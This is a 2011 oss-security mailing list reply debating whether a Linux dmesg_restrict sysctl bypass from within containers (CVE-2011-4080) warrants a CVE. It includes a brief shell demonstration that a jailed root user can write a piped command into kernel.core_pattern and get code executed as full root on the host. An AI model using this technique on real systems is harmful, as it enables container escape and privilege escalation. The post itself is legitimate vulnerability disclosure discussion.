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Message-ID: <20111026155310.GA14081@albatros>
Date: Wed, 26 Oct 2011 19:53:10 +0400
From: Vasiliy Kulikov <segoon@...nwall.com>
To: oss-security@...ts.openwall.com, kseifried@...hat.com
Subject: Re: CVE Request -- kernel: sysctl: restrict write
access to dmesg_restrict
Hi,
On Wed, Oct 26, 2011 at 09:26 -0600, Kurt Seifried wrote:
> On 10/26/2011 09:16 AM, Petr Matousek wrote:
> > When dmesg_restrict is set to 1 CAP_SYS_ADMIN is needed to read the
> > kernel ring buffer. But a root user without CAP_SYS_ADMIN is able
> > to reset dmesg_restrict to 0.
> >
> > This is an issue when e.g. LXC (Linux Containers) are used and complete
> > user space is running without CAP_SYS_ADMIN. A unprivileged and jailed
> > root user can bypass the dmesg_restrict protection.
> >
> > Introduced by:
> > eaf06b241b091357e72b76863ba16e89610d31bd
> >
> > Fixed by:
> > bfdc0b497faa82a0ba2f9dddcf109231dd519fcc
> >
> > Thanks,
> Please use CVE-2011-4080 for this issue.
Why does it worth CVE? Procfs is not ready for containers yet. You can
use other sysctls for more harmful things. E.g. kernel.core_pattern
allows arbitrary code execution as a full root - does it need a CVE too
then? :-)
root@...-ubuntu:/proc/sys/kernel# echo "|/usr/bin/touch /tmp/pwned" > core_pattern
root@...-ubuntu:/proc/sys/kernel# cat
^\Quit (core dumped)
(In the root namespace)
$ ls /tmp/pwned
/tmp/pwned
--
Vasiliy Kulikov
http://www.openwall.com - bringing security into open computing environments
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